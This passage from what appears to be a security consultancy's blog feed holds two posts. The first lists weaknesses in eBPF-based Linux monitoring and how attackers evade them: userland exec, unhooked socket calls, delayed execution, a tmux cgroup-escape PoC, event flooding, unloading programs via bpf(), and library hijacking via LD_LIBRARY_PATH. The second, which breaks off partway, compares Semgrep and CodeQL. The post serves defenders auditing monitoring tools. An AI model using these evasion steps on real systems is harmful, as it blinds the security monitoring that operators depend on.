          &lt;li&gt;&lt;a href=&quot;#12-network-bypasses&quot; id=&quot;markdown-toc-12-network-bypasses&quot;&gt;1.2 Network bypasses&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#2-delayed-execution&quot; id=&quot;markdown-toc-2-delayed-execution&quot;&gt;2. Delayed execution&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#3-evade-scoped-event-monitoring-based-on-cgroup&quot; id=&quot;markdown-toc-3-evade-scoped-event-monitoring-based-on-cgroup&quot;&gt;3. Evade scoped event monitoring based on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cgroup&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#4-memory-limits-and-loss-of-events&quot; id=&quot;markdown-toc-4-memory-limits-and-loss-of-events&quot;&gt;4. Memory limits and loss of events&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#5-never-trust-the-userspace&quot; id=&quot;markdown-toc-5-never-trust-the-userspace&quot;&gt;5. Never trust the userspace&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#6-abuse-the-lack-of-seccomp-bpf--kernel-discrepancies&quot; id=&quot;markdown-toc-6-abuse-the-lack-of-seccomp-bpf--kernel-discrepancies&quot;&gt;6. Abuse the lack of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;seccomp-bpf&lt;/code&gt; &amp;amp; kernel discrepancies&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#7-interfere-with-the-agents&quot; id=&quot;markdown-toc-7-interfere-with-the-agents&quot;&gt;7. Interfere with the agents&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;a-few-words-on-how-ebpf-works&quot;&gt;A few words on how eBPF works&lt;/h2&gt;
&lt;p&gt;&lt;br /&gt;
&lt;img src=&quot;../../../public/images/eBPF.png&quot; alt=&quot;eBPF schema&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Extended BPF programs are written in a high-level language and compiled into eBPF bytecode using a toolchain. A user mode application loads the bytecode into the kernel using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bpf()&lt;/code&gt; syscall, where the eBPF verifier will perform a number of checks to ensure the program is “safe” to run in the kernel. This verification step is critical — eBPF exposes a path for unprivileged users to execute in ring 0. Since allowing unprivileged users to run code in the kernel is a ripe attack surface, several pieces of research in the past focused on local privilege exploitations (LPE), which we won’t cover in this blog post.
After the program is loaded, the user mode application attaches the program to a hook point that will trigger the execution when a certain hook point (event) is hit (occurs). The program can also be JIT compiled into native assembly instructions in some cases. User mode applications can interact with, and get data from, the eBPF program running in the kernel using eBPF maps and eBPF helper functions.&lt;/p&gt;

&lt;h2 id=&quot;common-shortcomings--potential-bypasses-here-be-dragons&quot;&gt;Common shortcomings &amp;amp; potential bypasses (here be dragons)&lt;/h2&gt;

&lt;h3 id=&quot;1-understand-which-events-are-caught&quot;&gt;1. Understand which events are caught&lt;/h3&gt;
&lt;p&gt;While eBPF is fast (much faster than &lt;a href=&quot;https://linux.die.net/man/8/auditd&quot;&gt;auditd&lt;/a&gt;), there are plenty of interesting areas that can’t be reasonably instrumented with BPF due to performance reasons. Depending on what the security monitoring solution wants to protect the most (e.g., network communication vs executions vs filesystem operations), there could be areas where excessive probing could lead to a performance overhead pushing the development team to ignore them. This depends on how the endpoint agent is designed and implemented, so carefully auditing the code security of the eBPF program is paramount.&lt;/p&gt;

&lt;h4 id=&quot;11-execution-bypasses&quot;&gt;1.1 Execution bypasses&lt;/h4&gt;
&lt;p&gt;By way of example, a simple monitoring solution could decide to hook only the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve&lt;/code&gt; system call. Contrary to popular belief, multiple ELF-based Unix-like kernels don’t need a file on disk to load and run code, even if they usually require one. One way to achieve this is by using a technique called reflective loading. Reflective loading is an important post-exploitation technique usually used to avoid detection and execute more complex tools in locked-down environments. The man page for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; states: “&lt;em&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; executes the program pointed to by filename…&lt;/em&gt;”, and goes on to say that “&lt;em&gt;the text, data, bss, and stack of the calling process are overwritten by that of the program loaded&lt;/em&gt;”. This overwriting doesn’t necessarily constitute something that the Linux kernel must have a monopoly over, unlike filesystem access, or any number of other things. Because of this, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; system call can be mimicked in userland with a minimal difficulty. Creating a new process image is therefore a simple matter of:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;cleaning out the address space;&lt;/li&gt;
  &lt;li&gt;checking for, and loading, the dynamic linker;&lt;/li&gt;
  &lt;li&gt;loading the binary;&lt;/li&gt;
  &lt;li&gt;initializing the stack;&lt;/li&gt;
  &lt;li&gt;determining the entry point and&lt;/li&gt;
  &lt;li&gt;transferring control of execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By following these six steps, a new process image can be created and run. Since this technique was &lt;a href=&quot;https://grugq.github.io/docs/ul_exec.txt&quot;&gt;initially reported in 2004&lt;/a&gt;, the process has nowadays been pioneered and streamlined by OTS post-exploitation tools. As anticipated, an eBPF program hooking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve&lt;/code&gt; would not be able to catch this, since this custom userland &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec&lt;/code&gt; would effectively replace the existing process image within the current address space with a new one. In this, userland exec mimics the behavior of the system call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt;. However, because it operates in userland, the kernel process structures which describe the process image remain unchanged.&lt;/p&gt;

&lt;p&gt;Other system calls may go unmonitored and decrease the detection capabilities of the monitoring solution. Some of these are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clone&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fork&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vfork&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;creat&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execveat&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Another potential bypass may be present if the BPF program is naive and trusts the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve&lt;/code&gt; syscall argument referencing the complete path of the file that is being executed. An attacker could create symbolic links of Unix binaries in different locations and execute them - thus tampering with the logs.&lt;/p&gt;

&lt;h4 id=&quot;12-network-bypasses&quot;&gt;1.2 Network bypasses&lt;/h4&gt;

&lt;p&gt;Not hooking all the network-related syscalls can have its own set of problems. Some monitoring solutions may only want to hook the EGRESS traffic, while an attacker could still send data to a non-allowed host abusing other network-sensitive operations (&lt;a href=&quot;https://code.woboq.org/linux/linux/security/apparmor/include/audit.h.html#78&quot;&gt;see&lt;/a&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aa_ops&lt;/code&gt; at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;linux/security/apparmor/include/audit.h:78&lt;/code&gt;) related to INGRESS traffic:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OP_BIND&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bind()&lt;/code&gt; function shall assign a local socket address to a socket identified by descriptor socket that has no local socket address assigned.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OP_LISTEN&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;listen()&lt;/code&gt; function shall mark a connection-mode socket, specified by the socket argument, as accepting connections.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OP_ACCEPT&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;accept()&lt;/code&gt; function shall extract the first connection on the queue of pending connections, create a new socket with the same socket type protocol and address family as the specified socket, and allocate a new file descriptor for that socket.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OP_RECVMSG&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recvmsg()&lt;/code&gt; function shall receive a message from a connection-mode or connectionless-mode socket.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OP_SETSOCKOPT&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setsockopt()&lt;/code&gt; function shall set the option specified by the option_name argument, at the protocol level specified by the level argument, to the value pointed to by the option_value argument for the socket associated with the file descriptor specified by the socket argument. Interesting options for attackers are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SO_BROADCAST&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SO_REUSEADDR&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SO_DONTROUTE&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Generally, the network monitoring should look at all socket-based operations similarly to &lt;em&gt;AppArmor&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;In case the same local user has mixed monitored and unmonitored console sessions, it could be possible for an attacker in a monitored session to leverage open file descriptors and sockets to send data to restricted hosts. In 2020 some versions of Linux kernels had introduced a &lt;a href=&quot;https://man7.org/linux/man-pages/man2/pidfd_getfd.2.html&quot;&gt;new system call&lt;/a&gt; to achieve this called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pidfd_getfd&lt;/code&gt;. A small number of operating systems (like Ubuntu) implement the &lt;a href=&quot;https://www.kernel.org/doc/Documentation/security/Yama.txt&quot;&gt;Yama&lt;/a&gt; kernel module that limit file descriptor access to only child-parent processes. A PoC code for using this function is available on Github (&lt;a href=&quot;https://github.com/TheZ3ro/fdstealer&quot;&gt;TheZ3ro/fdstealer&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/fd-stealing.png&quot; alt=&quot;File descriptor stealing using pidfd_getfd&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;2-delayed-execution&quot;&gt;2. Delayed execution&lt;/h3&gt;
&lt;p&gt;If only active console sessions are monitored, eBPF programs may only live for the time span of the session. By delaying the execution of a command (through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sleep&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;timeout&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sar&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vmstat&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inotifywait&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;at&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cron&lt;/code&gt; …) and quitting the session, it could be possible to completely evade the solution.&lt;/p&gt;

&lt;h3 id=&quot;3-evade-scoped-event-monitoring-based-on-cgroup&quot;&gt;3. Evade scoped event monitoring based on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cgroup&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;A security monitoring solution may only be interested in auditing a specific user or cgroup (such in the context of a remote console session). Taking Teleport as an example, it achieves this by correlating every event to a session with control groups (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cgroupv2&lt;/code&gt; in particular). Control grouping is a Linux kernel feature to limit access to resources to a group of processes. It is used in many containerization technologies (behind the scenes Docker creates a set of namespaces and control groups for the container) and its peculiarity is that all child processes will keep the id of the parent process. When Teleport starts an SSH session, it first re-launches itself and places itself within a cgroup. This allows not only that process, but all future processes that Teleport launches, to be tracked with a unique ID. The BPF programs that Teleport runs have been updated to also emit the cgroup ID of the program executing them. The BPF script checks the value returned by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bpf_get_current_cgroup_id()&lt;/code&gt; and only cares about the important session cgroup. The simplest evasion to this auditing strategy would be changing your cgroup ID, but an attacker needs to be root to achieve this. Meddling with the cgroupv2 pseudo file system or abusing PAM configuration are also potential opportunities to affect the cgroup/session correlation.&lt;/p&gt;

&lt;p&gt;Another technique involves being reallocated by init. In the case of Teleport, when the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt; process spawned by the session dies, its child processes become orphans and the Teleport process terminates its execution. When a child process becomes an orphan, it can be assigned to a different cgroup by the operating system under certain conditions (not having a tty, being a process group leader, joining a new process session). This allows an attacker to bypass the restrictions in place. The following PoC is an example of a bypass for this design:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Open a new eBPF-monitored session&lt;/li&gt;
  &lt;li&gt;Start &lt;a href=&quot;https://github.com/tmux/tmux/wiki&quot;&gt;tmux&lt;/a&gt; by executing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmux&lt;/code&gt; command&lt;/li&gt;
  &lt;li&gt;Detach from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmux&lt;/code&gt; by pressing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CTRL+B&lt;/code&gt; and then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;D&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Kill the bash process that is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmux&lt;/code&gt;’s parent&lt;/li&gt;
  &lt;li&gt;Re-attach to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmux&lt;/code&gt; process by executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmux attach&lt;/code&gt;. The process tree will now look like this:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/cgroup-evasion.png&quot; alt=&quot;CGroupV2 evasion PoC&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As another attack avenue, leveraging processes run by different local users/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cgroupv2&lt;/code&gt; on the machine (abusing other daemons, delegating systemd) can also help an attacker evade this. This aspect obviously depends on the system hosting the monitoring solution. Protecting against this is tricky, since even if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PR_SET_CHILD_SUBREAPER&lt;/code&gt; is set to ensure that the descendants can’t re-parent themselves to init, if the ancestor reaper dies or is killed (DoS), then processes in that service can escape their cgroup “container”. Any compromise of this privileged service process (or malfeasance by it) allows it to kill its hierarchy manager process and escape all control.&lt;/p&gt;

&lt;h3 id=&quot;4-memory-limits-and-loss-of-events&quot;&gt;4. Memory limits and loss of events&lt;/h3&gt;
&lt;p&gt;BPF programs have a lot of constraints. Only 512 bytes of stack space are reserved for the eBPF program. Variables will get hoisted and instantiated at the start of execution, and if the script tries to dump syscall arguments or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pt-regs&lt;/code&gt;, it will run out of stack space very quickly. If no workaround on the instruction limit is set, it could be possible to push the script into retrieving something too big to ever fit on the stack, losing visibility very soon when the execution gets complicated. But even when workarounds are used (e.g., when using multiple probes to trace the same events but capture different data, or split your code into multiple programs that call each other using a program map) there still may be a chance to abuse it. BPF programs are not meant to be run forever, but they have to stop at some point. By way of example, if a monitoring solution is running on CentOS 7 and trying to capture a process arguments and its environment variables, the emitted event could have too many argv and too many envp. Even in that case, you may miss some of them because the loop stops earlier. In these cases, the event data will be truncated. It’s important to note that these limitations are different based on the kernel where BPF is being run, and how the endpoint agent is written.&lt;/p&gt;

&lt;p&gt;Another peculiarity of eBPFs is that they’ll drop events if they can not be consumed fast enough, instead of dragging down the performance of the entire system with it. An attacker could abuse this by generating a sufficient number of events to fill up the perf ringbuffer and overwrite data before the agent can read it.&lt;/p&gt;

&lt;h3 id=&quot;5-never-trust-the-userspace&quot;&gt;5. Never trust the userspace&lt;/h3&gt;
&lt;p&gt;The kernel-space understanding of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pid&lt;/code&gt; is not the same as the user-space understanding of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pid&lt;/code&gt;. If the eBPF script is trying to identify a file, the right way would be to get the inode number and device number, while a file descriptor won’t be as useful. Even in that case, probes could be subject to TOCTOU issues since they’ll be sending data to user mode that can easily change. If the script is instead tracing syscalls directly (using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tracepoint&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kprobe&lt;/code&gt;) it is probably stuck with file descriptors and it could be possible to obfuscate executions by playing around with the current working directory and file descriptors, (e.g., by combining &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fchdir&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openat&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execveat&lt;/code&gt;).&lt;/p&gt;

&lt;h3 id=&quot;6-abuse-the-lack-of-seccomp-bpf--kernel-discrepancies&quot;&gt;6. Abuse the lack of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;seccomp-bpf&lt;/code&gt; &amp;amp; kernel discrepancies&lt;/h3&gt;
&lt;p&gt;eBPF-based monitoring solutions should protect themselves by using &lt;a href=&quot;https://www.kernel.org/doc/html/v4.19/userspace-api/seccomp_filter.html&quot;&gt;seccomp-BPF&lt;/a&gt; to permanently drop the ability to make the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bpf()&lt;/code&gt; syscall before spawning a console session. If not, an attacker will have the ability to make the bpf() syscall to unload the eBPF programs used to track execution. Seccomp-BPF uses BPF programs to filter arbitrary system calls and their arguments (constants only, no pointer dereference).&lt;/p&gt;

&lt;p&gt;Another thing to keep in mind when working with kernels, is that interfaces aren’t guaranteed to be consistent and stable. An attacker may abuse eBPF programs if they are not run on verified kernel versions. Usually, conditional compilation for a different architecture is very convoluted for these programs and you may find that the variant for your specific kernel is not targeted correctly. One common pitfall of using seccomp-BPF is filtering on system call numbers without checking the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;seccomp_data-&amp;gt;arch&lt;/code&gt; &lt;a href=&quot;https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt&quot;&gt;BPF program argument&lt;/a&gt;. This is because on any architecture that supports multiple system call invocation conventions, the system call numbers may vary based on the specific invocation. If the numbers in the different calling conventions overlap, then checks in the filters may be abused. It is therefore important to ensure that the differences in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bpf()&lt;/code&gt; invocations for each newly supported architecture are taken into account by the seccomp-BPF filter rules.&lt;/p&gt;

&lt;h3 id=&quot;7-interfere-with-the-agents&quot;&gt;7. Interfere with the agents&lt;/h3&gt;
&lt;p&gt;Similarly to (6), it may be possible to interfere with the eBPF program loading in different ways, such as targeting the eBPF compiler libraries (&lt;a href=&quot;https://github.com/iovisor/bcc&quot;&gt;BCC&lt;/a&gt;’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libbcc.so&lt;/code&gt;) or adapting other shared libraries preloading methods to tamper with the behavior of legit binaries of the solution, ultimately performing harmful actions. In case an attacker succeeds in altering the solution’s host environment, they can add in front of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_LIBRARY_PATH&lt;/code&gt;, a directory where they saved a malicious library having the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libbcc.so&lt;/code&gt; name and exporting all the symbols used (to avoid a runtime linkage error). When the solution starts, instead of the legit bcc library, it gets linked with the malicious library. Defenses against this may include using statically linked programs, linking the library with the full path, or running the program into a controlled environment.&lt;/p&gt;

&lt;p&gt;Many thanks to the whole &lt;a href=&quot;https://goteleport.com/&quot;&gt;Teleport Security Team&lt;/a&gt;, &lt;a href=&quot;https://tmpout.sh/2/4.html&quot;&gt;@FridayOrtiz&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/th3zer0&quot;&gt;@Th3Zer0&lt;/a&gt;, &amp;amp; &lt;a href=&quot;https://mobile.twitter.com/alessandrogario&quot;&gt;@alessandrogario&lt;/a&gt; for the inspiration and feedback while writing this blog post.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Comparing Semgrep and CodeQL</title>
   <link href="https://blog.doyensec.com/2022/10/06/semgrep-codeql.html"/>
   <updated>2022-10-06T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2022/10/06/semgrep-codeql</id>
   <content type="html">&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;Recently, a client of ours asked us to put R2c’s &lt;a href=&quot;https://github.com/returntocorp/semgrep&quot;&gt;Semgrep&lt;/a&gt; in a head-to-head test with GitHub’s &lt;a href=&quot;https://codeql.github.com/&quot;&gt;CodeQL&lt;/a&gt;. Semgrep is open source and free (with premium options). CodeQL “is free for research and open source” projects and accepts open source contributions to its libraries and queries, but is not free for most companies. Many of our engineers had already been using Semgrep frequently, so we were reasonably familiar with it. On the other hand, CodeQL hadn’t gained much traction for our internal purposes given the strict licensing around consulting. That said, our client’s use case is not the same as ours, so what works for us, may not work well for them. We have decided to share our results here.&lt;/p&gt;

&lt;h3 id=&quot;sast-background&quot;&gt;SAST background&lt;/h3&gt;

&lt;p&gt;A SAST tool generally consists of a few components 1) a lexer/parser to make sense of the language, 2) rules which process the output produced by the lexer/parser to find vulnerabilities and 3) tools to manage the output from the rules (tracking/ticketing, vulnerability classification, explanation text, prioritization, scheduling, third-party integrations, etc).&lt;/p&gt;

&lt;h3 id=&quot;difficulties-in-evaluating-sast-tools&quot;&gt;Difficulties in evaluating SAST tools&lt;/h3&gt;

&lt;p&gt;The rules are usually the source of most SAST complaints because ultimately, we all hope ideally that the tool produces perfect results, but that’s unrealistic. On one hand, you might get a tool that doesn’t find the bug you know is in the code (a false negative - FN) or on the other, it might return a bunch of useless supposed findings that are either lacking any real impact or potentially just plain wrong (a false positive - FP). This leads to our first issue when attempting to quantitatively measure how good a SAST tool is - what defines true/false or positives/negatives?&lt;/p&gt;

&lt;p&gt;Some engineers might say a true positive is a demonstrably exploitable condition, while others would say matching the vulnerable pattern is all that matters, regardless of the broader context. Things are even more complicated for applications that incorporate vulnerable code patterns by design. For example, systems administration applications which executes shell commands, via parameters passed in a web request. In most environments, this is the worst possible scenario. However, for these types of apps, it’s their primary purpose. In those cases, engineers are then left with the subjective question of whether to classify a finding as a true or false positive where an application’s users can execute arbitrary code in an application, that they’d need to be fully and properly authenticated and authorized to do.&lt;/p&gt;

&lt;p&gt;These types of issues come from asking too much of the SAST application and we should focus on locating vulnerable code patterns - leaving it to people to vet and sort the findings. This is one of the places where the third set of components comes into play and can be a real differentiator between SAST applications. How users can ignore the same finding class(es), findings on the same code, findings on certain paths, or conditionally ignoring things, becomes very important to filter the signal from the noise. Typically, these tools become more useful for organizations that are willing to commit the time to configure the scans properly and refine the results, rather than spending it triaging a bunch of issues they didn’t want to see in the first place and becoming frustrated.&lt;/p&gt;

&lt;p&gt;Furthermore, quantitative comparisons between tools can be problematic for several reasons. For example, if tool A finds numerous low severity bugs, but misses a high severity one, while tool B finds only a high severity bug, but misses all the low severity ones, which is a better tool? Numerically, tool A would score better, but most organizations would rather find the higher severity vulnerability. If tool A finds one high severity vulnerability and B finds a different one, but not the one A finds, what does it mean? Some of these questions can be handled with statistical methods, but most people don’t usually take this approach. Additionally, issues can come up when you’re in a multi-language environment where a tool works great on one language and not so great on the others. Yet another twist might be if a tool missed a vulnerability that was due to a parsing error, that would certainly be fixed in a later release, rather than a rules matching issue specifically.&lt;/p&gt;

&lt;p&gt;These types of concerns don’t necessarily have easy answers and it’s important to remember that any evaluation of a SAST tool is subject to variations based on the language(s) being examined, which rules are configured to run, the code repository’s structure and contents, and any customizations applied to the rules or tool configuration.&lt;/p&gt;

&lt;p&gt;Another hurdle in properly evaluating a SAST tool is finding a body of code on which to test it. If the objective is to simply scan the code and verify whether the findings are true positives (TP) or false positives (FP), virtually any supported code could work, but finding true negatives (TN) and false negatives (FN) require prior knowledge of the security state of the code or having the code manually reviewed.&lt;/p&gt;

&lt;p&gt;This then raises the question of how to quantify the negatives that a SAST tool can realistically discover. Broadly, a true positive is either a connection of a source and unprotected sink or possibly a stand-alone configuration (e.g., disabling a security feature). So how do we count true negatives specifically? Do we count the total number or sources that lead to a protected sink, the total of protected sinks, the total safe function calls (regardless if they are identified sinks), and all the safe configuration options? Of course, if the objective is solely to verify the relative quality of detection between competing software, simply comparing the results, provided all things were reasonably equal, can be sufficient.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/codeqlvssemgrep.png&quot; title=&quot;Semgrep VS CodeQL&quot; alt=&quot;Semgrep VS CodeQL&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; &quot; /&gt;
&lt;/div&gt;

&lt;h3 id=&quot;our-testing-methodology&quot;&gt;Our testing methodology&lt;/h3&gt;

&lt;p&gt;We utilized the &lt;a href=&quot;https://owasp.org/www-project-benchmark/&quot;&gt;OWASP Benchmark Project&lt;/a&gt;  to analyze pre-classified Java application code to provide a more accurate head-to-head comparison of Semgrep vs. CodeQL. While we encountered a few bugs running the tools, we were able to work around them and produce a working test and meaningful results.&lt;/p&gt;

&lt;p&gt;Both CodeQL and Semgrep came with sample code used to demonstrate the tool’s capabilities. We used the test suite of sample vulnerabilities from each tool to test the other, swapping the tested files “cross-tool”. This was done with the assumption that the test suite for each tool should return 100% accurate results for the original tool, by design, but not necessarily for the other. Some modifications and omissions were necessary however, due to the organization and structure of the test files.&lt;/p&gt;

&lt;p&gt;We also ran the tools against a version of our client’s code in the manner that required the least amount of configuration and/or knowledge of the tools. This was intended to show what you get “out of the box” for each tool. We iterated over several configurations of the tools and their rules, until we came to a meaningful, yet manageable set of results (due to time constraints).&lt;/p&gt;

&lt;h3 id=&quot;assigning-importance&quot;&gt;Assigning importance&lt;/h3&gt;

&lt;p&gt;When comparing SAST tools, based on past experience, we feel these criteria are important aspects that need to be examined.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Language and framework support&lt;/li&gt;
  &lt;li&gt;Lexer/Parser functionality&lt;/li&gt;
  &lt;li&gt;Pre/post scan options (exclusions, disabling checks, filtering, etc.)&lt;/li&gt;
  &lt;li&gt;Rules&lt;/li&gt;
  &lt;li&gt;Findings workflows (internal tracking, ticket system integration, etc.)&lt;/li&gt;
  &lt;li&gt;Scan times&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;language-and-framework-support&quot;&gt;Language and framework support&lt;/h3&gt;

&lt;p&gt;The images below outline the supported languages for each tool, refer to the source links for additional information about the supported frameworks:&lt;/p&gt;

&lt;h5 id=&quot;semgrep&quot;&gt;Semgrep:&lt;/h5&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/Semgrep_langs.png&quot; alt=&quot;Semgrep results&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 300px;&quot; /&gt;
&lt;/div&gt;
&lt;p&gt;Source: &lt;a href=&quot;https://semgrep.dev/docs/supported-languages/&quot;&gt;https://semgrep.dev/docs/supported-languages/&lt;/a&gt;&lt;/p&gt;

&lt;h5 id=&quot;codeql&quot;&gt;CodeQL:&lt;/h5&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;img src=&quot;/public/images/CodeQL_langs.png&quot; alt=&quot;CodeQL results&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;
&lt;p&gt;Source: &lt;a href=&quot;https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/&quot;&gt;https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Not surprisingly, we see support for many of the most popular languages in both tools, but a larger number, both in GA and under development in Semgrep. Generally speaking, this gives an edge to Semgrep, but practically speaking, most organizations only care if it supports the language(s) they need to scan.&lt;/p&gt;

&lt;h3 id=&quot;lexerparser-functionality&quot;&gt;Lexer/Parser functionality&lt;/h3&gt;

&lt;p&gt;Lexer/parser performance will vary based on the language and framework, their versions and code complexity. It is only possible to get a general sense of this by scanning numerous repositories and monitoring for errors or examining the source of the parser and tool.&lt;/p&gt;

&lt;p&gt;During testing on various applications, both tools encountered errors allowing only the partial parsing of many files. The thoroughness of the parsing results varied depending on the tool and on the code being analyzed. Testing our client’s Golang project, we did occasionally encounter parsing errors with both as well.&lt;/p&gt;

&lt;h5 id=&quot;semgrep-1&quot;&gt;Semgrep:&lt;/h5&gt;
